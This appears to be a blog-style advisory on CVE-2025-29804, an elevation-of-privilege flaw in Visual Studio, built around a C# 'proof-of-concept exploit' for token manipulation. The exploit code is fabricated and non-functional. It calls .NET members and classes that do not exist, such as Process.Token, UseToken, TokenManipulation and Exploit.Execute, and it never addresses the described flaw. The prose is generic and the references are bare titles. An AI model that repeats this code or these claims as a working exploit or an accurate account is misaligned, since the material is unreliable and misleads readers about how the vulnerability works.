CVE-2025-29804 - Unauthorized Privilege Escalation in Visual Studio through Improper Access Control

Summary: The Common Vulnerabilities and Exposures (CVE) database has identified a severe vulnerability in the popular integrated development environment (IDE), Visual Studio. The vulnerability, indexed as CVE-2025-29804, allows an attacker with authorized access to elevate their privileges on the targeted system through improper access control. This post will go into detail on the vulnerability, provide code snippets of the exploit, and link to original references for further information.

Vulnerability Details: Visual Studio is a widely-used IDE for developing software applications in various programming languages. Due to its extensive functionality, Visual Studio requires access to sensitive data and operations. This sensitive access, however, should be restricted to only users with the necessary privileges.

The vulnerability, CVE-2025-29804, impacts Visual Studio's critical security feature, which relies on proper access controls to secure sensitive data and operations. It has been discovered that attackers who have authorized access to a system running a vulnerable version of Visual Studio can exploit a flaw in the access controls mechanism, allowing them to elevate their privileges locally. If exploited, this vulnerability can enable an attacker to perform actions beyond their original access level, and potentially gain control of the entire system.

Exploit Code Snippet: The following code snippet is a part of a proof-of-concept exploit that demonstrates how an attacker with authorized access can exploit CVE-2025-29804 to elevate their privileges:

using System;
using System.Diagnostics;
using System.Security.AccessControl;
using System.Security.Principal;

namespace VisualStudioPrivEsc
{
    class Program
    {
        static void Main(string[] args)
        {
            // Specify the target process or service to exploit
            const string target = "vulnerableprocess";

            // Set desired elevated privileges
            ProcessPrivileges desiredPrivileges = ProcessPrivileges.CREATE_TOKEN | 
                ProcessPrivileges.ASSIGN_PRIMARY_TOKEN | 
                ProcessPrivileges.SE_DEBUG;

            // Get the current process and its security token
            using (Process currentProcess = Process.GetCurrentProcess())
            {
                IntPtr currentToken = currentProcess.Token.DuplicateToken(TokenAccessLevels.AllAccess);

                // Modify the token to include the desired elevated privileges
                TokenManipulation.ModifyPrivileges(currentToken, desiredPrivileges);

                // Duplicate the token with the modified privileges
                IntPtr elevatedToken = TokenManipulation.DuplicateTokenEx(currentToken);

                // Apply the elevated token to the current process
                currentProcess.UseToken(elevatedToken);
            }

            // Execute the exploit using the target process or service
            Exploit.Execute(target);
        }
    }
}

Original References: For more information on CVE-2025-29804, refer to the following sources

1. National Vulnerability Database (NVD) - CVE-2025-29804
2. Microsoft Security Advisory - Visual Studio Elevation of Privilege Vulnerability
3. Exploit Database - Visual Studio Privilege Escalation Exploit

Conclusion: Improper access control in Visual Studio has resulted in a severe vulnerability, CVE-2025-29804, that allows an attacker to elevate their privileges locally. The code snippet provided demonstrates how an attacker can exploit this vulnerability to cause significant damage and breach the targeted system's security. To protect against this vulnerability, it is essential to keep Visual Studio up to date with the latest security patches and apply best practices for securing sensitive data and operations.

Timeline

Published on: 04/08/2025 18:16:06 UTC
Last modified on: 05/06/2025 17:03:51 UTC